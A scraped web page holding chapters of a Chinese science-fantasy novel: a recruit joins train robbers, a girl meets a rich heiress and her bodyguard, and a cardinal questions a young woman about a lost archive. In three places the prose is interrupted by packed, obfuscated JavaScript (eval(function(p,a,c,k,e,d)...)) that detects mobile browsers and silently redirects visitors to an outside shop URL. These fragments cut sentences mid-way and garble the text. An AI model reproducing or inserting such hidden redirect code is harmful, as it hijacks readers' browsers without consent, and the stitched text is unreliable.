d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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笛子和小胡琴又咿咿呜呜,吱吱呀呀地唱了起来,然后是铛铛铛的一阵锣响。 姜原一时不知应该如何评价。这算什么,街头卖艺的戏班吗? “其实,我们算是雇佣服务业吧,但也可以劳务派遣,开车、开船、开山、开矿、开门、开房、开水沟、开酒瓶,被人欺负了想开脑壳,没问题,老婆出轨了想开盒,随你意,空投敌后,烧水送饭,保镖护送,逛街陪玩,无论大小,无论多少,什么活都干,什么活都接,上九天揽月,下五洋捉鳖,只有你想不到,没有我们做不到,这就是我们,四大恶人!对了,最关键的,可以挣快钱哦。” 大汉又加重语气,强调了一遍最后那六个字,然后对着姜原露出微笑。似乎“赚快钱”就是他最为看重,也是唯一可以拿来炫耀的东西一样。 “不错,这次只漏了四句。”那女子在后面说道。 “得了吧!还不是都一样!怎么样,小兄弟,要不要来赚快钱啊?”大汉摆了摆手,像是一只狗熊闻到蜂蜜一样呼哧呼哧地在姜原身边拱来拱去,俨然一副只要姜原不答应,就搞得他没法休息的架势。 算了,就这样答应他吧。反正也不会怎么样。 “那就恭敬不如从命了。”姜原说完,重新闭上眼睛。 “你,这就完了?”那黑汉子道。 “什么完了?”姜原睁开眼问。 “哼。看嘛。你这样就是胡闹。”黑汉子对那大汉说。 “哎呀。就是一时兴起,招个新人而已。不然你还要他马上派上用场?”光头大汉耸耸肩,转向姜原道:“小兄弟,那就说好了,你以后要是去米卡那边发展,可以找我们四大恶人帮忙。” “他就是这样。”那个女子也说。 “他就是这样。你就纵容他吧!随随便便就招这么个家伙,我不干了!我要回家!”那黑汉子甩下这么一句,开始收拾东西。 “你!老白!我们多少年的交情,你这么不给面子的吗!” “我给你面子,但我为什么非得给他面子?”黑汉子瞪着眼睛,看着姜原。 姜原叹了口气。 “好吧,那我也给你们来两手。”他摊开双手,两只机械爪从袖筒中伸了出来,爪头像响尾蛇一样咔咔作响,摇摆着游向面前的光头大汉。然后轻轻摘下了他脖子上的金链子。同时另外一只机械爪从大衣的下摆处伸出,捡起地上尚未熄灭的烟头;另外两只则一只穿进青年的袖筒,抽出折扇;一只则盘上黑汉子腰间,拔出匕首。机械爪同时把拿到的东西向空中一抛。最后一只则不偏不倚地掷出那匕首,将那金链、烟头、折扇,全部钉在车厢的墙壁上。 “怎么样?行了吗?”姜原微笑着问那黑汉子。 但那四个人突然露出提防的表情。却不是那种被冒犯的提防,而是遇到了敌人的那种同时带有杀气和恐惧的感觉。 “你……认识玉家的人?” 光头大汉看着姜原的机械爪。 “不认识。什么玉家?” “你不是统修会的?”那黑汉子问道。 “不是啊。一开始就说了,我是外地来的。” 四个人脸上的表情一下子放松了,几乎同时点起头。 “看着也不像嘛。” “玉家的人怎么可能买站票。” “小兄弟。你到底是什么人?来干什么的?”那光头大汉郑重其事地问道。 “刚才不是说了嘛,来旅游的。”姜原说。 “你真的跟统修会没什么关系?” “没有。”姜原答道。 “那——这一单,你要不要也来做?”光头大汉问道。 好嘛,看来还真的想拉我进组了。姜原心里那么想,嘴上却问:“所以,刚才到底是什么情况?” “没什么。本来是跟你开个玩笑,结果反而被你开了个玩笑。这一手不错,配得上我们四大恶人。”那光头大汉拍了拍姜原的肩膀,问另外三人:“是不是啊,兄弟伙?” 三人同声称是。 光头大汉继续道:“毕竟我们之前也担心人手有点不够,遇到你或许真的是机会。就跟你说说赚快钱的事吧。简单地说就是,这趟车的特等席上有两个人,押送一件特殊的货物。而我们只需要把这件货物拿到手,交给买家,每人可以分……一百五十万。” 原来是火车劫匪。难怪他之前就觉得不对劲。姜原看着面前的这几个人,光头大汉、黑脸汉子、柔弱青年……还有一个似乎生病的老头。 就算他们是火车劫匪,也还是有一点不对劲。 不过,他们的目标和姜原并没有冲突。如果他们打算到特等席那边搞事情的话,或许可以分散枢机主讲部下的注意力。也不是完全没有价值。 “怎么付?”姜原问。 “一千枚教会的金币,现金。”大汉说。“怎么样?” “好吧。”姜原说。“那你们怎么称呼?” 大汉笑了笑。“我们是不允许称呼真名的。每个人入伙的时候都可以给自己起一个花名,从此以后内部就叫这个名字。我嘛,我叫关铁震,是他们的老大。这妹子叫郑小楼。”大汉拍了拍那女子的脊背。 “白少俊。”那相貌抽象的黑脸汉子说。 老人正要介绍,但才一张口就又咳嗽起来。“这位是马延仙,马老爷子。还有一个不在这里的,叫王西凤。”大汉替他报上名字,又问:“你呢?” 好嘛。关、马、郑、白、王。 姜原答道:“那我就叫汤元吧。” 这闹得,简直跟林家兄弟一样了。现在也不知道那一对活宝现在怎么样。 姜原想。 44.启明号列车02 让娜上车时,把胖球藏在头巾下。 她很担心被列车员发现,但列车员只是检过车票,然后询问为什么没有成年人陪同以后,就带她来到自己的座位旁边。让娜盘着腿坐上座椅,这里摸摸那里看看,没过多久就耗尽了她对火车本身的好奇,开始打量起一等车内的旅客来。 但她还没看几眼——前方就传来一声抱怨。 “凭什么嘛!”那是一个女孩子的声音。 让娜从座位后探出脑袋,只见前面高高的座椅后竖着两支鹿角,而鹿角的旁边站着一个凶神恶煞般的高大男子。他穿着一袭黑衣,衣领竖起,但仍然可见一道长长的伤疤从那黑衣男子的右边眉头一直延伸到颧骨,而那只眼睛瞳孔的颜色也与另一只不同。他虽然一直面对着前方的座椅,但他凌厉的目光仍旧时不时向整个车厢一扫,让人胆颤心惊。 “凭什么突然取消我们的特等席?”那两支鹿角摇晃着。说话人的声音和语气像是一个小女孩。 “抱歉,大小姐。这似乎是铁路客运段临时的决定,大概他们也有……”那黑衣男子低下了头。但话才说了一半,就被打断了。 “但特等车厢明明就好端端挂在那里呀!明明挂在那里却不让人坐,算什么嘛!她还说我年纪小看错了,我坐过那么多次,怎么可能看错?” “所以大概就是铁路客运段临时的安排,他们可能……” “你说说,有谁能顶掉我们的票?还把窗帘拉得死死的不让人看,凭什么嘛!” “所以说,大概他们有什么特殊的……” “喂,黑猫。” “在,大小姐。” “你去让窃据我特等席的那些宵小们滚出来。” “这、他们之前暗示说,可能是枢机主讲大人……” “啊?我怎么没听见?” “所以才说是‘暗示’啊,他们说……” “但我怎么没听见呢?我只听见一连串的‘对不起但拜拜了您呢’。一个个点头鞠躬倒是勤快,就是屁股不挪一点儿地方!” “因为他们是在暗示您,这件事他们说了不算。” “他们本来就说了不算啊。” “这……” “是我说了算。” “是……啊?”那黑衣男子一脸茫然。 “你想,我们带着这么贵重的东西,那可是爷爷亲自给他,那个什么玩意,打了电话的对不对?那肯定是我说了算啊。” “那是站长……所以他们才要暗示您嘛。” “暗示我什么?” “暗示您,占用特等车厢是枢机主讲的意思。他不是说,‘虽然枢机这次访问有些突然,但没能做好相应的准备工作,的确是他的失职,请您在玉老部长驾前代为解释’吗,那就是在暗示了啊。” “哦。这样。”那大小姐的声音沉默了几秒,又说:“那你怎么不早说?害得我一直生气?” “我……是。下次一定。” “真是的。爷爷肯定没有枢机主讲重要啊。像这种事你要先讲。还好我有先见之明,这才免得我们带着那一个大箱子跑来跑去。” “是这样没错。” “所以你的呢?” “我……我的?”那黑衣男子面露难色,然后伸手在口袋里掏了半天,总算是掏出了一个头饰似的东西。它比普通的发卡要大上一些,上面装着两个像是猫耳朵一样的装饰,另外内圈还有不少亮闪闪的银色突起。 “你为什么不戴上?” “这……不好吧。” “喂,黑猫。” “在,大小姐。” “我让你戴上。” 那凶神恶煞般的男人愣住了。虽然很不情愿,但他还是忸忸怩怩地把那个奇怪的头饰戴到了头上。两只直挺挺的黑色猫耳在接触男人头部的一瞬间,就像真正的猫耳朵一样耷拉了下去。 “怎么,不开心?” “啊?没有、没有,绝对没有。”猫耳朵慢慢直立起来,跟着那男人的目光一起转动。那眼神凶恶的男人如今看起来,反而显得有些拘束。 “那怎么这么不精神啊?” “因为不太习惯。” “嗨!你总是不戴,当然不习惯啦。这个耳朵可以提高你的听力,反而对你来说很有用处呢。这还是我特意让爷爷加的。” “老太爷的关怀,我一直非常感激。” “嘿嘿。所以嘛。一定要多戴,就像我一样。你看!” 空中闪过一道黑影,然后是“叭”的一声爆响。让娜第一时间的感觉是有人在空中抽了一鞭子。她父亲有一次带她出去玩,晚上回家的路上了遇到野狗,父亲便把皮带抽出来在空中一抽,就是发出了类似的声音,把野狗们吓跑了。 但在火车上……应该不会有人把皮带拿出来在空中抽吧? “那是尾……尾巴?”邻座的中年女人似乎看到了什么,指着那对鹿角的方向惊呼道。 “对呀,就是尾巴。”那对鹿角的主人站到了椅子上,一条长长的尾巴撩开裙摆伸了出来,在空中转了转。 “哦,原来是机器的呀。”那中年妇女擦了擦冷汗。“吓了我一跳。” “机器?啧啧啧,才不是机器那种程度而已哦。”那鹿角的主人转过身子。让娜现在才看到她的真容——是一个卷发的小姑娘。她的脑袋上戴着一对像那猫耳一样设计的鹿角——其实应该是龙角;而身后长长那的一条,则像是粗壮的龙尾了。 让娜羡慕地睁大了眼睛。她还从来没有见过这种东西。她本以为能亲眼见到折刃骑士的铁臂就已经很幸运了,没想到还能在这里看到这么活灵活现一样的,龙的尾巴。 她把手中裹着头巾的胖球放在相邻的空座上,然后站上自己的座椅,趴在前座的椅背上,尽可能近一点地,去看那位大小姐奇特的装饰。 “大小姐,我们还是尽量低调一点吧。老太爷让我们把东西安全带到,之前过来的路上就一直有人在窥视我们,所以……” “这里有我,你怕什么?谁要是有意见,我就先是——” 大小姐从椅子上跳起,身子轻轻一转,龙尾重重一摆。那凶神恶煞般的男人则灵敏地低头避过。龙尾在所有人头顶掀起一股劲风,把那中年妇女的帽子都吹了下来。 “——然后再——” 那一对龙角之间释放出一股电流,在空中激起一串噼啪作响的火花。而大小姐的头发也被静电吸得向上散开,颇有点怒发冲冠的感觉。她用脑袋向前一顶,而那凶神恶煞男人则轻轻向后退了一步。他大概并不是第一次陪这位大小姐如此玩耍胡闹吧。 “——怎么样?”大小姐摆摆头,那股电流熄灭了,只在空气中留下一股淡淡的青烟和一点淡淡的臭氧味。 “实在是非常厉害。”猫耳男人作势鼓掌,但没有拍出响声。“但老太爷再三叮嘱,让我们一定把东西送到石岗城,千万不能——” “嗨!能有什么事呢?这趟车我们都坐过多少次了!爷爷他就是瞎担心。黑猫,你去厨房让他们做点吃的,我饿了。”大小姐长长的尾巴在空中划了一个圈,慢慢从让娜面前游过。 让娜忍不住伸手去摸。 那龙尾就像她在电视里看到的动画片一样,上面缀满一片片的细腻龙鳞。尾巴正上方是一浪一浪的背鳍,而龙尾最末端,是火焰状的尾鳍。 她的手指触到了龙鳞,硬硬的、凉凉的、滑滑的。真舒服。 但让娜的抚摸似乎让那龙尾不舒服了。龙尾骤然一抖,重重抽上她的手背。她不由得惊叫一声。坚硬的尾鳍已经在她的手背上划出一道血痕。 那凶神恶煞般的男人几乎同时压到让娜的身前,轻轻握住了她的手。他锐利的双眼审慎地查看着她的伤口,而双手已经从口袋里抽出一个小小的纸包。让娜才刚觉得手背一凉,酒精棉便已擦净她的伤口,而药水亦步亦趋地紧跟上酒精挥发的节奏,在药棉轻轻压上她的手背后,绷带便整齐而迅速地缠过几圈。 在她感觉到疼痛之前,伤口就已经一刻不停地包扎完毕。 “实在是非常抱歉。大小姐还不太能控制她的新玩具。”凶神恶煞的男人低头道。“请您千万别见怪。我们愿意为您安排赔偿……” “喂,黑——猫——!” “在,大小姐。”男人平平向后移去,像是从没动过一样侍候在大小姐身边。 但大小姐并没有跟她的黑猫说话。她从座椅上跳下来,慢慢走到让娜的座位前。由于让娜正站在座椅上,所以反而显得她比大小姐高出一头了。 让娜赶忙从座椅上爬了下来,同时整了整自己的衣服。 “什么呀,还是个小孩嘛。而且,还是乡下来的。”大小姐在看到让娜真正的身高之后,像是放松了心情但又仍然警觉着什么一样,抬起半张脸偏向一边,只用眼角在让娜的身上扫来扫去。 “是,她只是个小孩子。所以还是请您多小心使用……”黑猫说。 “用——不——着——你——告诉我!” “是。”猫耳又耷拉下去。 “你去厨房,让他们做点吃的。” “是。”黑猫向餐车走去。 大小姐一直盯着他,直到黑猫的背影影消失,这才回过头,对着让娜甩出一句:“下次你注意点。” 她并不等让娜回复,只是一甩裙摆,扭头便走。但龙尾从让娜面前扫过的时候,大概是带动了包裹着胖球的头巾,胖球突然探出头来,叫了一声,钻出来跳上了座椅的扶手。 “呀!”让娜和大小姐同时叫道。让娜急忙伸手捉住胖球,想把它往自己的头巾里塞。但胖球已经在里面睡了太长时间,早就呆得不耐烦了。它嘴爪并用,又是抓、又是叨住让娜的头巾,死活就是不肯松开。 “你、你、你这是什么?你也不嫌脏!”大小姐惊叫道。 “这只是八哥鸟而已啦。也……也不算特别脏。”让娜争辩道。“只要你习惯清理它的……习惯打扫卫生的话,也没有那么脏啦。” 既然胖球不愿意进去,她也没有办法,只好让胖球站在她的手上。获得胜利的胖球骄傲地四下里看看,然后去梳理自己刚刚弄乱了的羽毛。 大小姐目不转睛地望着让娜手里的八哥。 胖球梳理完羽毛,歪头看了看面前的大小姐,说:“你好。哇是胖球。” “我……我是玉明珑。”大小姐不由自主地说。 “哇!带鸟上车啊!这不违反规定吗?”旁边座位的中年妇女刚看到胖球,便大呼小叫。 大小姐猛地转过头去。“嘘——!” 然后她又回过头来,问:“它咬人吗?” “呃……”让娜本来想说不咬,但她又想起姜原,只好说:“大概率是不会咬的。” 大小姐慢慢伸出手去,想要摸一摸八哥头顶的羽簇。胖球似乎是警觉了起来,它的脑袋一直跟着大小姐的手指微微摆动,然后——猛地一口叨了下去。 还好让娜已经看出了这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大小姐伸手扯了一下让娜的衣袖,说:“你别看啦,黑猫会处理的。”然后竟然顺理成章地坐在了让娜之前的,靠过道的位置上。 让娜只好坐上她旁边的空座。但她还是好奇,所以忍不住支楞起身子向后望去。 “黑猫”一步步靠近那个女人,在她的身边停住了。“您好。虽然我并不是铁路部门的,但我还是想查看一下您的身份证件。” “哟——为什么单独要查我的呀?”那女人问道,她的声调抑扬顿挫,声音有些尖锐,也不自然。 “虽然这么说有点失礼,但刚才骚动的时候,你也仍然假装望着窗外,所以难免让我有点怀疑。” 大小姐听到这句话,鼓起了腮帮子。 但那女人仍然不为所动。“但我只是反感你们十大姓小少爷大小姐的任性,不可以吗?” 车厢里响起了一阵嗡嗡声。似乎有人在窃窃私语。 “当然是可以的。他们的任性对普通市民造成许多困扰,我也深感歉疚。只是我也有我的职责。我并不是在强迫您。我只是认为,如果您能主动出示一下身份证件,那再好不过。” “你没有资格检查我的证件。” “是。” “那你还不快滚!?” “我只是希望您能消除我的怀疑。” “你看不到还不走了是吧?” “对。” “好。那你就别走。” “可以。我就在这里等着。”黑猫双手交握,站在那女人的身边。 那女人继续望向窗外。 过了一会,黑猫不紧不慢地说道:“您的心跳居然并不快。一般女性在这种生气、紧张的情况下,心率可能会达到九十,甚至一百。” “你是什么意思!” “没什么意思。只是觉得您并不一般。” “好!好!我就给你出示,给你出——” 那女子一边说,一边打开自己的手提包,然后掏出什么东西对着黑猫一扬,从她手中发出一阵嗤嗤的喷射声。但黑猫早已用戴着手套的手指顶住了那辣椒喷雾的喷嘴,同时四根手指捏住了她的手,猛地一转。 一大团被手指顶回的喷雾喷到了那女人的脸上。 不,是那“女人”的脸上。 他痛苦地嚎叫起来,之前假声变成了略显尖锐的男声,泪水从他的眼睛里喷涌而出。他急忙用手去擦眼睛,却把头上的假发揉进了眼睛里。然后他双手对着提包一阵乱翻,里面的东西掉的满地都是。那只是一堆装着化妆品的瓶瓶罐罐,面巾纸、手帕、小梳子小镜子、钱包、还有身份证件。 并没有什么可疑的东西。 黑猫从地上捡起那张身份证看了一眼,然后又看了看那男人双眼红肿,妆容花散的脸,原本紧贴向后的耳朵耷拉了下去。 那人站起来,带着哭腔喊道:“男人穿女装就那么奇怪吗?” “呃……抱歉。如果可以的话,我……呃,可以赔……”黑猫说不下去了。 那男人并没有回答,只是冲进了车厢尾部的洗手间。 整个车厢都窃窃私语起来。 黑猫沮丧地回到了大小姐的身边。 “抱歉。似乎是我弄错了。” 大小姐早就嘎嘎地笑倒在座椅上,喘得上气不接下气。“哈哈哈哈……你、你平时、总摆着哈哈哈哈……摆着那么一张脸,今天却哈哈哈哈……” 黑猫无比尴尬地挠了挠头。 ——关老大。是的。对方很警觉,我应该没有暴露。短时间内,他应该不会缠我了。我不确定货的位置,他们是空手上车的,所以十有八九在特等座车厢里。因为紫袍骑士对那个车厢很在意,之前还在检查外面的情况。我不会放弃的。这是我好不容易等来的机会,一切按计划进行。好,知道了。我等进一步的通知。 那男人把通讯器塞回胸前,打开了洗手间的门锁。 45.启明号列车03 列车已经到达了极速。 周向青望着车窗外快速倒退的乡野,不知道火车现在到底能不能停车。 如果在这里停车,让她沿着铁路走回去的话…… 但枢机主讲已然按下了茶几上电话的免提钮。 “喂,是我。你们给我在水安弄一辆车等着。回卡比利亚的。什么车无所谓,只有一个人。就这样。” 他自顾自地安排完之后,才对周向青说:“哎呀,真是不好意思。一不注意,竟然已经错过站了。只能怪我刚才想起往事,有点出神。唉,年纪大了,脑子也不太好使。”枢机主讲轻轻拍了拍座椅的扶手,用目光示意她重新坐下来。 周向青只好坐了下去。“但朱启儒大主讲的年纪要比您大得多了吧。” “啊?哈哈,那是自然。启正光明,他是启,我是光,之前我也说了,他是我父辈的父辈。所以他已经老了很长时间,是资深老人了;而我还只是一个见习老人而已,难免还很不适应。哈哈哈哈。” 枢机主讲显然很喜欢自己的笑话,放声笑了起来。 周向青也不禁莞尔,一个几近中年的男人自称“见习老人”,有点语言上的趣味。枢机主讲笑完,端起茶杯,用盖子抹开茶叶,啜饮茶水。周向青便也有模学样,浅浅抿了一口。茶水对她来说没什么味道,但似乎也并没有什么不良反应。热热的,她有点喜欢。 “不过,说起朱启儒大主讲,我这次过去也只是开了个匆匆忙忙的会,没时间跟他聊聊往事,有点可惜。你知道他年轻时候也跟你差不多——抱歉,不是时间意义上的差不多,而是说,他还是你这样一种年轻人类外表的时候,也会一个人到处乱闯吗?那时候可比现在乱多了。上时代的动乱还没有完全消弭,而新时代的秩序也没有建立。当然,这是我父亲告诉我的,我也没有亲眼见过那个混乱的时代。但跟他畅聊过几次之后,虽然无法想象他当年提着一杆枪打天下的样子,但我还是很相信他的判断和建议。我相信他,甚至超过了我父亲。这也是我不顾他的年纪,推举他担任下一任圣座的原因。” “不过他的确年纪有些大了。”周向青不太明白“父亲”到底是什么样的一种存在。工长虽然关照她,但并不真的关心她;而那个人……对她来说竟是完全的陌生。 “是,所以也有些人反对。这次我本是来审核他的参选资格的,结果反倒是他给我提了不少建议。”枢机主讲说到这里,唇边泛起笑意。然后他像是又想起什么一样,说道:“对了,他也建议我回石岗城以后,帮你打听一下帕西瓦尔的事情。” “真的吗?”周向青没想到大主讲竟然拜托这个人关照她。 “嗯。但说老实话,我是不报什么希望的。” “为什么?”周向青一惊。 “虽然我个人跟帕西瓦尔没有交集——当时我刚继承了家父在枢机主讲团中的位置,但因为经验缺乏,所以主要负责科研方面的职务;但我的同事在三年前,参与了我们跟米卡之间的停火协议谈判。这个由他负责牵头的停火协议……虽然这份协议也没能阻止我弟弟命丧他乡就是了。” 周向青不知该说什么。 枢机主讲停顿片刻,继续说道:“当然,当时在我方看来,达成边境停火还是非常迫切的一件事情。因为前线军队在近三十年里没完没了的冲突中屡战屡败,而广阔的边境线总是不断被蚕食,最后公司的脚步居然越来越靠近卡比利亚。虽然,卡比利亚只是一座边陲的城市,对于统修会领地核心区域的世家大族们来说,不构成什么影响,但它终究冠着圣城的头衔。而且,城市里涌入逃难的人民,周边地区治安恶化,内部的声音也越来越尖锐。一次战争的失利,总会对下一次战争产生不利的影响。大家都在担心,新的战败会成为让整个局面爆炸的导火索。” 周向青不解:“但你们的圣座不是一个很厉害的人吗?为什么还是会屡战屡败呢?” “统修会创会已经八十七年,而目前的圣座已经是第四代了。初代圣座去世之后,由他的妻子陈玉勤代摄8年大位,最终商定由枢机主讲团共同指定圣座人选,随后选举程步尧为第二代圣座。而程步尧去世后,由初代圣座的学生,徐启新当选第三任圣座。徐启新圣座在任的十五年里,由于战事屡屡失利,内部争议渐大,最终又推举初代圣座的战友孙可庸为第四任。但他毕竟年事已高,力不从心,权力不但没有集中,反而更分散了。而前方的战事,也自然而然地没能取得任何进展。好在米卡内部也是派系林立,相互掣肘,每次战斗虽然能赢得土地和人口,但往往不是出力最多的一方拿到最大的一份,佣兵势力在不断地战争中越做越大,最终导致复合体内部的重心出现了偏移。于是,这种‘败而不垮’的局面就一直延续了下来。” 枢机主讲说到这里,长长叹了一口气。“帕西瓦尔在各方都有很高的声望,所以由他发起谈判时,各方其实都有停火的理由。所以停火并不是我们说服对方或对方说服我们,而是我们双方内部的一部分人说服另外一部分人,而他们说服使用的一个重要依据就是——” “最后一份档案。”周向青知道这件事。 “没错。帕西瓦尔向各方宣布,他掌握了最后一份档案。当然,他实际上没有。但人们很容易就会相信他们想要相信的东西。帕西瓦尔跟那只老鼠杜兴田联合起来,通过一批新出土的世界政府的废弃仿生人作为旁证,欺骗那些迫切需要这一份档案的人,然后通过他们强烈的停战原望去说服其它人,最终达成了这一条建立在欺骗上的协议。他是个很厉害的骗术师,既有胆量,也又谋略。只是他的骗术并没有去考虑后续如何收尾,也没有去考虑会造成什么样的影响。我的那位同事说服了内部的反对派接受‘最后一份档案’存在这个事实,但他没能说服反对派们接受‘帕西瓦尔消失不见有其正当理由’,从此结束了他的政治生命。而认为最后一份文档可以帮助我们快速实现三元一体的‘考古派’也在研究部门中失势,大家放弃了回收、继承、改进旧技术的想法,把所有的希望都放在活化机器上。帕西瓦尔并没有去考虑这些事情。或许他后来找到了那份文档,但当年相信他的人都已经失去了权力,身败名裂。而后来仍然相信他的人……则失去了生命。” “这……”周向青犹豫了。 她记得在环运城的鼎新楼里,云景龙也说过类似的事情。“那个人”,帕西瓦尔,或者弗莱,拿了杜老板给他的信息,找到了那份文档,然后不知所踪。 而如今,枢机主讲则从另一个角度给出了同样负面的评价。 可以说,那个人的确伤害了他们的利益。 但那个人又把这最后一份文档,以一种非常奇特的方式留给了她,但也同时给所有人发送了“准备收货”的信息。 这或许是那个人对三年前的一种弥补——但也或许是一种诱惑。 煽得那些不明究里的人,奋不顾身地扑向这团夜中的火。 桌上的茶水已经不再冒起热气。枢机主讲将残茶倒进茶桌的集水口,重新将茶壶中注满开水。这几次泡茶,水温一次比一次高。因为只有更高的水温才能激发出茶叶中残存的味道。 程光颢轻轻嗅了嗅壶口的香味,然后说:“我的弟弟并不清楚这些事情,他不相信我跟他说的话,他也并不关心。他只是去追求他自己的梦,希望得到一个期望的结果。人生如此沉闷且痛苦,唯有美好的愿望能够作为生活的寄托。但也因此,人们总是会轻易认为,自己的愿望就是真实。但这世界上的事情并不会因为你的主观原望而改变。某种程度上说,我的弟弟也算并没有死得太痛苦。他去环运城寻找那最后一份文档,但他并没有看到里面的内容。所以他仍旧是带着希望死去的,他没有从梦中醒来。那份文档中绝对没有帕西瓦尔让我们相信的东西,我们真正想得到的东西也并不可能从那里面得到。而你的那个朋友,也是一样。都是痴心妄想。” 姜原?他是在说姜原吗? “您见过姜原吗?” “他叫姜原吗?他昨晚来找我,想用其中一部分内容换取我的支持。” “什么?那他为什么——”为什么要杀程光颐?但还好,她收住了口,没有把这句话说出来。 枢机主讲程光颢并不知道周向青心中的事情。他还以为周向青问的是为什么姜原要寻求他的支持。 他说:“那么大批量的数据,无论是恢复、破译、阅读整理,都需要相当长的时间,需要高性能芯片的计算机不说,还需要人工智能的辅助。而现在的情况就是,拥有这个实力的阵营不会轻易容忍他的自主性,而能容忍他自行其是的阵营则不具备帮助他短期完工的实力。昨天我还在想,你这个朋友怕是要把自己搭进去了。如果他听你的话,那我觉得你可以适当劝劝他。” “我并不是很明白他想干什么,我也不太清楚他的事情。”周向青回答。 “但你们不是一起的吗?我记得赛德是这么说的。” “在他看来大概是吧。但那也只是……这一程路而已。我们其实并不熟悉。” “这样。”枢机主讲给自己倒了一杯茶,然后又把周向青的杯中残茶倒掉,重新倒上一杯。“你这一说,我有点好奇了。你们是怎么认识的?” “我们是在环运城认识的。”周向青不知道该怎么回答这个话题,所以只说了一句,便又闭上了嘴。 “啊,抱歉。我并不是想刺探你们的隐私。只是因为你们两个人给我的感觉一样但又不太一样——感觉你表面上更沉默一些,但实际上却并不怎么隐藏自己的态度;而他表面上跟人说话有来有回,但实际上只针对对方的话题发言,绝口不提自己的事情。所以我觉得,如果是普通情况的话,你们大概不会是朋友。反过来说,你们能一起同行,就说明发生了很特殊的事情吧?” 周向青说:“是。的确是有点特殊。比较特殊。我刚才没说下去的原因,也不是怕您知道,只是因为事情比较复杂,要牵扯很多人和很多事情。我想想……简单地说就是,姜原他本来是打算抢走我的文档——但他也不是从我手上抢,而是从另外一个人那里——然后还有一些人也想拿到这份文档,于是他带着我……” 她是真的不知道,要在尽可能略过一大堆名字以及人物介绍的前提下,把事情说明白,于是索性把那些东西都跳了过去。“总之,情况很乱。然后我们发现了帕西瓦尔留给我的线索。正好他对帕西瓦尔也有兴趣,我人生地不熟的,就把那份文档卖给了他,然后就一起来了卡比利亚。” 尽管周向青把情况说得乱七八糟,但枢机主讲还是很认真地听着。他在听到“卖”这个字的时候,翘起了眉毛。“卖给他?你说的那份文档,就是世界政府的最后一份文档吧?那本来是你的?” “其实那也不是我的。当时我们的工地就在环运城那些大洞旁边,而我们……” “你们是做回收行业的。我明白。” “对。一天我们挖出了那个保险箱。它上面有一个视网膜锁,而偏偏我可以打开。当时我还不知道那到底是怎么回事,但后来结合你们说的情况,所以我认为那个保险箱大概就是帕西瓦尔留给我的,因为那个视网膜库里有留给我的信息……所以我猜那大概是给我的吧。” “嗯。我觉得你这么想没有错。所以当时他准备夺取这份文档,而这份文档实际上在别人的手上?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107105|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是。我们工长和隔壁工长打算把这份文档卖给环运城的杜老板。”说出杜老板大概没问题吧。 “这是个很合理的想法。然后他在那个时候出手把文档夺走了?” “是的。然后一些……什么佣兵来着的人,也想要那份文档,然后我们打了几次,就算是站在了同一边。” “但你们为什么会站在同一边呢?他不是……哦,你刚才说他把文档买了下来。我大概明白了。所以你们是交易伙伴的关系。”枢机主讲不断点着头。 “嗯……我觉得还要再复杂一点。”周向青说。 “交易伙伴再复杂一点。可以。所以你们是一起见到程光颐,然后他提议送你们来卡比利亚?” 周向青一愣。她望向枢机主讲的眼睛。但枢机主讲却没有在看她。他端着自己的茶杯,慢慢地吹开飘在水面的茶叶。 “是。”她答道。 枢机主讲把茶水一饮而尽,放下茶杯。“这样啊。那我还想问一个问题。” “您说。” 枢机主讲站了起来,离开座位,踱了几步,回过头来,看着周向青的眼睛。 “程光颐给你他的徽章的时候,那份文档在谁的手上?” “这……”周向青犹豫了。 “你不用紧张,我并不是想干什么。我只是确认一个想法。因为赛德坚称,程光颐之所以给你徽章,是因为他认为你是圣女。但姜原却说,程光颐是为了护送他,以及他手上的文档。我非常确信,程光颐是去拿那份文档的。所以他肯定会把徽章给那个有文档的人,作为统修会提供保护的证据,不是么?” 周向青抬头看着枢机主讲的表情。枢机主讲脸色如常,两只手交握在腹部,一副谦恭平和的样子。 “您猜的没错,当时文档还在我手上。”她说。 “原来如此。那看来我的判断并没错。”枢机主讲深深吸了一口气,点了点头。“程光颐,他那时候知道你是仿生人吗?” “我没有告诉他。” “那就好。看来那只是赛德的一厢情愿,加上姜原那一点点的小聪明了。” 周向青茫然点了点头。话题正在向她所无法掌控的方向飞快滑去。她不知道自己该不该把这些事情告诉面前的这个人。 “抱歉。其实赛德的话一度让我有点动摇。我的弟弟的确如他所说,是痴迷于圣女这个概念的。尤其是你居然让圣女草表现出我们闻所未闻、见所未见的特殊性状,简直就是我弟弟一直追求的奇迹。所以今早赛德告诉我,你就是程光颐所选定的圣女的时候,我差点就相信了。不,我是真的相信了。” “但我不是圣女。”周向青说。 “对,你不是。但你也是。” 周向青不明白。 “你不是我弟弟认为的圣女。你也不是赛德以为的圣女。你同样不是朱启儒大主讲期待的圣女。我的弟弟想要的圣女要能够治愈他记忆中的伤痕,赛德希望的圣女能给他带来什么绝对的平等,朱启儒大主讲希望你能够给卡比利亚市民树立一个士气的表率。但你不是那样的圣女。你不能治愈什么心理创伤,也不能让众生平等,也不会作为一个奋勇抗敌的精神图腾来保卫朱启儒的圣城。你不是那样的圣女。但你真的是能够与活化机械融合的研究素材,能够让我们的研究进程更进一步。但也正是因为这样,我们现在不需要你。 